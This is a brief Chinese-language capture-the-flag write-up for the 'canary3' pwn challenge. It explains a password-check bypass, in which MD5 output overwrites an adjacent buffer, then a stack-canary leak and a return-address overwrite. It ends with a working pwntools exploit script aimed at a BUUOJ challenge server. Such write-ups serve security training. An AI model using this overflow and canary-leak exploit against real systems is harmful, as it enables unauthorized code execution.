canary3
最后临死挣扎做了个题目,不亏。
关键就在这个验证,一开始看到有个md5加密,以为是把输入的密码md5后来比较。但是查md5发现那串东西什么也查不出来,然后觉得爆破也是不可能的,给的信息有点少。
然后在尝试输入32个字符后,发现比较时s2字符串的内容变了。才注意到s和s2是相邻的,那么在md5时就会改变s2中的内容。
在尝试不同的字符串后发现s2的变化是固定的,并且第一个字节变成了‘\0x00‘。
最后试出输入32个c时可以绕过检验。
剩下的就是泄露canary和程序基址了,最后再跳转到后门函数。
from pwn import * context.log_level=‘debug‘ elf=ELF(‘canary3‘) #p=process(‘./canary3‘) p=remote(‘node4.buuoj.cn‘,27154) p.recvuntil(‘username: ‘) p.send(‘admin‘) p.recvuntil(‘password: ‘) #gdb.attach(p) py=‘c‘*32 p.send(py) p.sendlineafter(‘exit\n‘,‘2‘) p.recvuntil(‘input:\n‘) p.send(‘a‘*25) #gdb.attach(p) p.sendlineafter(‘exit\n‘,‘1‘) p.recvuntil(‘a‘*25) can=u64(p.recv(7).rjust(8,‘\0‘)) print hex(can) libc=u64(p.recv(6).ljust(8,‘\0‘))-0x2530 print hex(libc) p.sendlineafter(‘exit\n‘,‘2‘) p.recvuntil(‘input:\n‘) py=‘a‘*24+p64(can)+p64(0)+p64(libc+0x239f) p.send(py) p.sendlineafter(‘exit\n‘,‘3‘) p.interactive()